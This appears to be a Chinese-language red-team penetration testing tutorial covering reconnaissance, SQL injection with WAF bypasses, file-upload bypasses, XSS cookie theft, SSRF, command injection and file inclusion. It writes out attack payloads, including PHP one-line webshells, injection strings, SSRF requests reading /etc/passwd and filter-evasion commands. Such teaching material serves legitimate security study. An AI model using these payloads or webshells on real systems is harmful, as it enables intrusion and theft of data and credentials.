赞
踩
首先给出一个网站,该网站收录了各种红队渗透工具:
https://github.com/guchangan1/All-Defense-Tool
信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露
可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、API、小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。
下面介绍这些信息该如何收集
一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:
https://beian.miit.gov.cn
若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:
https://aiqicha.baidu.com(爱企查)
https://www.qcc.com(企查查)
https://www.tianyancha.com(天眼查)
域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等
tieba.baidu.com
↑ ↑ ↑
三级域名.二级域名.顶级域名
对于安全测试的意义:
子域名的获取方式有爆破,搜索,JS查找,证书查找,DNS搜索,OneForAll搜索
以下为常用爆破的工具:
子域名挖掘机:百度云链接: https://pan.baidu.com/s/1VQ2HLocs39B72ElysskPog 提取码:121l
ksubdomain:https://github.com/knownsec/ksubdomain
搜索主要是使用搜索引擎进行搜索,例如百度、谷歌、fofa、hunter、shodan、zoomeye
在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看
获得favicon.ico文件方法:
1. 直接在网站网址后面加favicon.ico
2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址
3. http://www.google.com/s2/favicons?domain=网站地址
以下为常用的google hack搜索语法:
site 指定域名
intext 正文中存在关键字的网页
intitle 标题中存在关键字的网页
info 一些基本信息
inurl URL存在关键字的网页
filetype 搜索指定文件类型
例子:
搜索子域名:site:baidu.com
在线搜索的网站有:
https://rapiddns.io/subdomain
https://phpinfo.me/domain/
http://whois.chinaz.com/(whois查询)
JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。
查询HTTPS证书能查询到子域名
https://crt.sh/
查询DNS能查询到该域下的解析记录,从而有可能获得子域名
https://dnsdb.io/zh-cn/
在kali里可以使用dig
命令进行DNS查询,具体用法:
https://blog.csdn.net/weixin_44617541/article/details/124328099
OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大
https://github.com/shmilylty/OneForAll
获得一个网站的真实IP是极其重要的,原因如下:
1. IP能使用NMAP扫描出更多的端口
2. 扫描IP地址为扫描网站的上一级文件夹
3. 很多网站在其上一级有可能有该网站的源码备份
一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段
获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否
在CMD
里使用ping
命令就能获得真实IP
ping
目标网站端口的范围是从0到65535,其中端口分为3大类:
1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议
2. 注册端口:从1024到49151,这些端口松散绑定一下服务
3. 动态端口:从49152到65535,这些端口并不常用
端口收集常使用nmap来进行探测,以下为快速扫描指令:
nmap -sS -Pn -open -T4
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4
其他扫描工具有御剑高速TCP端口扫描工具、masscan、Goby
也可以使用在线的方式探测端口:
http://coolaf.com/tool/port
https://saomiao.bmcx.com/
https://tool.chinaz.com/port/www.gdsslxh.org.cn
中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、tomcat、nginx、thinkphp、structs2等
通常使用AlliN、Glass、EHole、dismap等工具进行查看
也可以通过观察网站的后缀进行判断,比如.net.php.asp
后缀的网站的中间件一般为IIS
CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。
在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。
以下网站能查看ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码安全问题
https://websec.readthedocs.io/zh/latest/language/index.html
以下为识别方法:
在一些网站的最下面会有CMS的名字
访问CMS的特定路径查看是否能访问来判断CMS
使用kali中的whatweb
命令进行扫描
使用浏览器中的wappalyzer
插件进行查看
使用御剑WEB指纹识别系统来进行扫描
下载网站的ico文件查看(即favicon.ico文件)
使用在线网站进行查看,如:
https://www.yunsee.cn/
http://whatweb.bugscaner.com/(云悉)
若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。
常见的服务器系统为windows与linux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。
以下为分辨的方法:
为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows
根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在CMD
中PING
目标网站查看):
WINDOWS NT/2000 TTL:128
WINDOWS 95/98 TTL:32
UNIX TTL:255
LINUX TTL:64
WIN7 TTL:64
使用nmap
命令的-O
参数来进行探测
数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:
根据网站的文件来识别:
asp access
php mysql
aspx mssql
jsp mssql,oracle
python mogodb
通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver
使用nmap指令进行探测端口,根据端口号来判断:
mysql 3306
mssql 1433
oracle 1511
mongodb 27017
redis 6379
memcached 11211
通过nmap -O -sV ip地址
的方式扫描能获得apache和php和mysql版本
目录作为网站的基本结构之一,能方便浏览者和管理者区分。
通常能用Charles工具、dirsearch、JSFinder工具、御剑目录扫描专业版进行目录扫描
WAF为WEB应用防护系统,用于隔离外界的非法请求
有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等
识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描
以下为识别WAF的方法:
X-Powered-By
泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露
SVN是源代码版本管理软件。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
在服务器上布署代码时,如果是使用 svn checkout
功能来更新代码,项目目录下会生成隐藏的.svn
文件夹(Linux上用ls
命令看不到,要用ls -al
命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。
使用dvcs-ripper工具能对网站扫描SVN
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
使用dvcs-ripper)工具能对网站扫描HG
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git
文件夹直接部署到线上环境。这就引起了git泄露漏洞。
dirsearch工具扫描目录后有可能扫出.git
目录,之后使用GitHack工具能获取该文件
常见的网站源码备份文件后缀
tar
tar.gz
zip
rar
常见的网站源码备份文件名
web
website
backup
back
www
wwwroot
Temp
可以使用7kbscan扫描
bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。
常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”
访问隐藏文件时前面加"."
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。
在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞
最常用的扫描器有Xray、awvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)
https://github.com/binganao/vulns-2022
https://github.com/helloexp/0day
https://github.com/helloexp/vulhub
https://github.com/helloexp/CVE-Exploits
https://github.com/UzJu/0day
https://github.com/faisalfs10x/CVE-IDs
https://github.com/YinWC/2021hvv_vul
https://github.com/dingxiao77/redteam_vul
https://github.com/BaizeSec/bylibrary/tree/main/docs/%E6%BC%8F%E6%B4%9E%E5%BA%93
https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
https://forum.ywhack.com/bountytips.php?Vulnerability
https://github.com/r0eXpeR/supplier
https://my.oschina.net/u/4354006/blog/3322916
https://github.com/projectdiscovery/nuclei-templates
https://github.com/DawnFlame/POChouse
peiqi漏洞库
使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹SHELL,下面会详细介绍这些攻击。
在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。
弱口令爆破的工具主要有超级弱口令检查工具,burpsuite的Intruder模块,Hydra(kali自带)
爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典
对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:
SQL注入的分类方式如下:
按变量类型分
按HTTP提交方式分
按注入方式分
报错注入
盲注
union注入
SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。
另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式
--os-shell
参数进行getshell
下面将详细介绍这些注入方式。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()
的报错信息
报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()
和group by
同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。
报错注入主要利用的函数是floor()
、extractvalue()
、updatexml()
concat区别
concat()
concat(str1, str2,...)
concat_ws()
concat_ws(separator, str1, str2, ...)
Group_concat()
group by
产生的同一个分组中的值连接起来,返回一个字符串结果。group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
count()
、rand()
、floor()
、group by
这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by
冲突报错。GROUP BY
分组,产生主键冗余,导致报错。floor
向下取整数—如2.5取整数为2<div><p><a>
标签查找元素一样extractvalue(目标xml文档,xml路径)
id=1' and (extractvalue(1,concat(‘~’,(select database())))) --+
updatexml()
函数与extractvalue()
类似,是更新xml文档的函数。updatexml(目标xml文档,xml路径,更新的内容)
id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
堆叠注入是一堆 sql 语句(多条)一起执行,例如以下这个例子。
用户输入DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
具体可以查看该文章
DNS注入是对存储在DNS服务器上解析留下的日志进行注入,具体例子看该文章
二次注入是指利用已经上传的数据,再次进入查询语句后,形成的恶意查询语句进行注入
例如在注册页面,插入了相关的恶意语句,假如注册用户名是1' union select 1,user()#
这样的话,在再次构建SQL语句后台会回显这样的数据。
执行语句:select * from users where admin='1' union select 1,user();
返回数据库用户名称。
set character_set_client = gbk
时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27
,即可把(%5C)
合并掉,举个例子。http://www.nicai.com/index.php?id=1
当提交?id=1' and 1=1%23
时,MySQL运行的SQL语句为
select * from user where id ='1\' and 1=1#'
很明显这是没有注入成功的,而当我们提交id=1%DF' and 1=1%23
时,MySQL运行的SQL语句就变为了
select * from user where id ='1運' and 1=1#'
我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF
和后面的\也就是%5c
中变成了一个汉字“運”,从而使单引号逃逸了出来
偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下
使用场景:
注入原理:
union select 1,2,3,4,5,6,7,8 from admin
union select 1,2,3,4,5,6,7,admin.* from admin
,此时页面出错union select 1,2,3,4,5,admin.* from admin
时页面返回正常,说明admin表有三个字段注入流程可以看该文章
绕过方式有注释符、内联注释、编码、空格绕过、or and xor not 绕过、双写绕过、大小写变种、等号=绕过,下面详细介绍
当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过
-- “注释内容”
/*注释内容*/
;
//
--
--+
#
:%00
/!*注释内容*/
内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。
select * from cms_users where userid=1 union */\*!5000 select\*/* 1,2,3;
浏览器中输入的URL会由浏览器进行一次URL编码,所以可以通过多次编码绕过正则表达式的检测;如URLEncode编码、ASCII、HEX、unicode编码绕过:
对关键字进行两次url全编码:1+and+1=21+%25%36%31%25%36%65%25%36%34+1=2 /**/union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin'#%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'# 或ex\u0065c => exec ascii编码 Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 16进制 select * from users where username = test1; select * from users where username = 0x7465737431; unicode编码对部分符号的绕过 单引号=> %u0037 %u02b9 空格=> %u0020 %uff00 左括号=> %u0028 %uff08 右括号=> %u0029 %uff09
一般绕过空格过滤的方法有以下几种方法来取代空格
/**/
()
回车(url编码中的%0a)
`(tab键上面的按钮)
tab
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。
and写成anandd
select写成seleselectct
当关键词被过滤时,可尝试变换大小写进行绕过。
UniOn
SeleCt
不加通配符的like执行的效果和 = 一致,所以可以用来绕过。
正常加上通配符的like:
Select * from cms_users where username like "ad%";
不加上通配符的like可以用来取代=:
Select * from cms_users where username like "admin";
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
Select * from cms_users where username REGEXP "admin";
使用大小号来绕过
Select * from cms_users where userid>0 and userid<2;
<> 等价于 != ,所以在前面再加一个 ! 结果就是等号了
Select * from cms_users where !(username <> "admin");
当收集到一个网站能让使用者进行文件上传时,就有可能存在文件上传漏洞
文件上传漏洞能让攻击者上传木马从而控制网站服务器,属于高危漏洞
文件上传不能简单通过修改后缀来攻击,因为浏览器无法识别后缀为jpg的文件
文件上传绕过分为前端绕过、服务端绕过、解析漏洞绕过、WAF绕过
前端验证为javascript检测,通常为检测文件后缀。
绕过方式只需要先上传正确后缀的文件后,用burpsuite抓包后修改为原本木马的后缀就能绕过
由于太过于简单绕过,所以一般网站都不会设置前端验证
服务端绕过方式有很多种,下面详细介绍
后缀名的验证,分为黑名单(asp,PHP,jsp,aspx,cgi,war…)和白名单(jpg,png,zip,rar,gif…)。
针对黑名单绕过:
大小写,如Php
双写后缀,如phphpp
后缀名末尾加空格【 】(Linux服务器不支持)
后缀名末尾加点【.】(Linux服务器不支持)
后缀名末尾加::$DATA
(Linux服务器不支持)
%00截断(Linux服务器不支持)
例如1.php%00.jpg
MIME 信息是指content-Type的内容,不同文件类型所对应的值也不同,如GIF文件对应:image/gif,如果检测的是mime,可以通过修改来绕过验证。
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
该文件提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
该绕过方式只有Apache中间件有,作用是实现文件解析的自定义
.htaccess文件的内容为
AddType application/x-httpd-php .png
.png为自定义绕过后缀
文件头是指文件头部,在木马里的头部添加白名单中的文件头能实现绕过
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF :47 49 46 38 39 61 (GIF89a)
PNG:89 50 4E 47
服务器对上传的文件的全部内容进行检测,例如若上传的文件不是完整的图片,就会上传失败
因此,我们可以在一个完整的图像中添加木马代码就能实现绕过
木马运行有可能需要配合解析漏洞
有些网站会对上传后的文件进行二次操作,如修改文件名
但是,在服务器进行修改前,有一瞬间是没有修改的
这时就能通过window的特性(已经访问了的文件修改不了文件名)来实现绕过
通常需要利用脚本不断请求才能成功
中间件解析文件时可能会存在解析漏洞,利用解析漏洞就能修改木马文件的后缀实现绕过
IIS5.x/6.0解析漏洞
如果目录名以".asp 、.asa、.cer、.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。例如: “test.asp/1.jpg”就会解析asp代码。
IIS7.0/IIS7.5/Nginx<8.03解析漏洞
对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
例如,我上传一个图片木马22.png 直接访问url为 www.haha.com/upload/22.png 图片可以查看但是代码解析不出来,这时候我们只要在url后面加上www.haha.com/upload/22.png/33.php就可以执行代码。
Nginx <8.03 空字节代码执行漏洞
使用%00截断,如对一个图片马使用:xxx.jpg%00.php
Apache解析漏洞
apache解析后缀是从右往左解析,若解析的域名不可识别,则继续往左判断
因此就可以设置文件为:xxx.php.csg,csg后缀apache无法识别,因此就会识别后面的php
寻找黑名单之外的扩展名
构造畸形的数据包
删掉content-type
构造多个filename
数据溢出-防匹配(xxx…)
填充垃圾数据
符号变异-防匹配(’ " ;)
去掉一个双引号,没有闭合安全狗会误以为是程序自带
;意味着符号后面还有语句要执行,如果不执行的话,最后的语句为空。因此:filename="a.jpg;.php "
数据截断-防匹配(%00 ;换行;/)
%00后面的内容被截断,如:2.php%00.jpg(%00要解码)
换行为\n,如2.php变成2.p\nh\np ,就可以绕过安全狗的匹配
一般/**/为注释符号,安全狗将//的内容注释
重复数据-防匹配(参数多次)
重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数
参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证
借助白名单技术,在匹配的时候,发现filename的字符串为前面的数据,安全狗误以为:2.php 没有传递个filename参数,从而绕过。
XSS为前端漏洞,攻击者通过往WEB页面插入恶意Script代码后,当用户浏览网站时能触发,达到攻击的目的
XSS测试的范围是每一个输入框,URL中的所有参数,也就是说任何一个与服务器有交互的参数都可以测试CSS
XSS攻击在红队渗透中可以用来盗取用户的cookie,尤其是管理员登录平台的cookie
攻击流程为首先找一个xss平台,在上面生成攻击代码,然后上传到目标网站上,等待管理员通过浏览器浏览服务器数据(如果能不用xss平台是最好的,因为平台管理员也能得到我们攻击得到的cookie,有泄露的风险)
XSS有三种类型,分别为反射型、存储型、dom型,下面会介绍这三种方式
反射型不是一种持久化攻击,通常为攻击者制作好攻击链接,然后欺骗用户点击从而达到攻击的目的
存储型是持久化攻击,攻击者会将攻击代码上传到目标网站的服务器里,当网站调用数据到前端网站时有可能会运行攻击代码,从而达到攻击的目的
http://share.xxx.com/index.php?url=http://127.0.0.1
http://image.xxx.com/image.php?image=http://127.0.0.1
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
file:用于访问本地计算机的文件,如http://share.xxx.com/index.php?url=file:///etc/passwd
http:用于探测内网存活,可以对目标主机的内网网段并进行爆破,如http://192.168.91.1
使用前要想办法得到目标主机的网络配置信息,如读取/etc/hosts
、/proc/net/arp
、/proc/net/fib_trie
等文件
dict:用于探测或扫描内网端口,如dict://127.0.0.1:8080/info
ftp:用于探测目标主机是否存在ftp,如ftp://127.0.0.1:21
gopher:用于对内网进行信息查找,攻击格式为gopher://IP:port/_TCP/IP数据流,攻击过程看该文章
若是遇到IP过滤,可以改写IP,例如192.168.0.1:
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
合并后两位:1.1.278 / 1.1.755
合并后三位:1.278 / 1.755 / 3.14159267
0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏
RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞在没有网站源码的情况下极其难以发现
发掘RCE漏洞方式:
代码审计挖掘
参数爆破获得,参数爆破可以用Hydra工具
使用对应中间件扫描工具进行扫描,如:
Struts2使用Struts2 全版本漏洞检测工具扫描
Thinkphp使用ThinkphpGUI 2020HackingClub线下典藏版扫描
RCE漏洞分为代码执行和命令执行,下面详细介绍
PHP中有些函数具有将字符串作为代码执行的功能,如果这些函数控制的不严格,就能被攻击者用来执行恶意代码
常见的代码执行函数:
eval函数
eval函数把字符串作为PHP代码执行
eval(string $code)
一句话木马
<?php @eval($_POST['x']);?>
assert函数
assert函数会检查指定的assertion一个断言是否为FALSE,在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行
bool assert(mixed $assertion[,Throwable $exception])
一句话木马
<?php @assert($_POST['x']);?>
call_user_func函数
第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数
mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])
一句话木马:
通过POST型fun参数调用system
函数,通过POST型arg
参数传入id
命令,执行了system('id')
返回当前用户信息
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
call_user_func_arrey函数
把第一个参数作为回调函数调用,把参数数组作为回调函数的参数调用
mixed call_user_func_arrey(callable $callback,array $param_arr)
一句话木马:
通过POST型fun参数调用system
函数,通过POST型arg
参数传入id
命令,执行了system('id')
返回当前用户信息
<?php call_user_func_array($_POST['fun'],$_POST['arg']);?>
create_function函数
根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称
string create_function(string $args,string $code)
示例代码
<?php
$id=$_GET['id'];
$code='echo'.$func.'test'.$id.';';
create_function('$func',$code);
?>
create_function函数会创建虚拟函数,转变成以下代码
<?php
$id=$_GET['id'];
function func($func){
echo "test".$id;
}
?>
当传入id的值为1;}phpinfo();/*
时 就可以造成 代码执行
array_map函数
函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同
array array_map(callable $callback,array $array1[,array $array2...])
示例
<?php
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
?>
输入语句
http://xxx/index.php?func=system&argv=id
就可以执行任意代码
prep_replace函数
执行一个正则表达式的搜索和替换
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])
此函数存在模式修饰符,其中修饰符e会让函数将替换后的函数作为PHP代码执行
如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号、双引号、反斜线和Null字符在后向引用替换式会被自动加上反斜线转义
示例
<?php
$subject='hello hack';
$pattern='/hack/e'
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>
测试语句
http://xxx/index.php?name=phpinfo()
preg_replace函数会将hack替换成phpinfo()同时因为有e修饰符,会将phpinfo()当做代码执行
命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
产生原因:
没有对用户输入进行过滤或过滤不严,如:没有过滤&、&&、| 、||等连接符号。
系统漏洞造成的命令执行,如:bash破壳漏洞(CVE-2014-6271)
调用的第三方组件存在代码执行漏洞
php (system() 、 shell_exec() 、pcntl_exec()、 exec() 、 eval()、popen()、proc_open()、passthru()、反引号 ``)
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
若是cat被过滤,可以用tac
cat是正向读取,tac是反向读取
Windows系统支持的管道符如下:
“|”
:直接执行后面的语句。“||”
:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。“&”
:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。“&&”
:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。Linux系统支持的管道符如下:
“;”
:执行完前面的语句再执行后面的语句。“|”
:显示后面语句的执行结果。“||”
:当前面的语句执行出错时,执行后面的语句。“&”
:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。“&&”
:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。因此,不一定非要用&,可以用"/","|",";"
若被过滤,可以使用URL码,如%0A(linux换行符)、%0D(回车符)、%0D%0A(window换行符)
对于以下命令:
cat$IFS$9`ls`
空格绕过:
IFS表示Internal Field Separator(内部字段分隔符),空格可以用**${IFS}**代替
cat${IFS}flag.txt
cat$IFS$9flag.txt
(这里用$1~9都可以)cat<flag.txt
cat<>flag.txt
(<>为重定向符号)kg=$'\x20flag.txt'&&cat$kg
(\x20转化成字符串是空格,这里通过变量的方式绕过)敏感字符绕过:
变量绕过:a=g.php;cat fla$a
编码绕过(假设过滤cat):
`echo 'Y2F0Cg=='|base64 -d` flag.txt
链接符截断绕过(假设过滤cat):
c\at flag.txt
ca$@t flag.txt
c'a't flag.txt
通配符绕过:
**?
在linux里面可以进行代替一个任意字符**
/???/[l-n]s
可以代替ls/???/c?t flag.txt
可一代替cat flag.txt
*
在linux里面可以代替任意一个符号
ls *.php
列出当前目录下所有php文件./???/???????[@-[]
(问号的个数对应chakdiD脚本的路径)文件包含是指传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行
在一个网站中任何一个能提交的参数都是文件包含的测试对象
文件包含相关函数:
php
require:函数出现错误时,会直接报错并退出程序执行
require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。
include:出现错误时,会出现警告但是程序会继续执行
include-once:出现错误时,会抛出警告,且仅包含一次
jsp/servlet
ava.io.file()
java.io.filereader()
asp
include file
include virtual
java
本地文件包含造成的危害就只有文件读取,一般情况下是不能造成命令执行或代码执行的。
文件包含分为本地文件包含与远程文件包含,下面详细介绍
本地文件包含漏洞指能够读取或执行包含本地文件的漏洞,如:
http ://127.0.0.1/test.php?filename=../../1.txt
---跨越2级目录
<?php
$filename=$_GET['filename'];
include($filename.[".html"]);
?>
filename参数后面包含的文件后缀名增加了一个HTML
绕过方式:
%00截断
长度截断
原理:垃圾数据溢出
windows中点号需要长于256位(文件命名),Linux中点号需要长于4096位
#http://192.168.102.143:8888/test.php?filename2=1.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
超过文件命名256位,后面的HTML就没有被识别,而1.txt././被当成1.txt执行
远程文件包含是指通过url地址对远程的文件进行包含
前提条件:在php.ini中allow_url_fopen=on、allow_url_include=on
http://127.0.0.1/test.php?filename=http://192.168.8.10/1.txt
还可以使用php伪协议进行文件包含
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。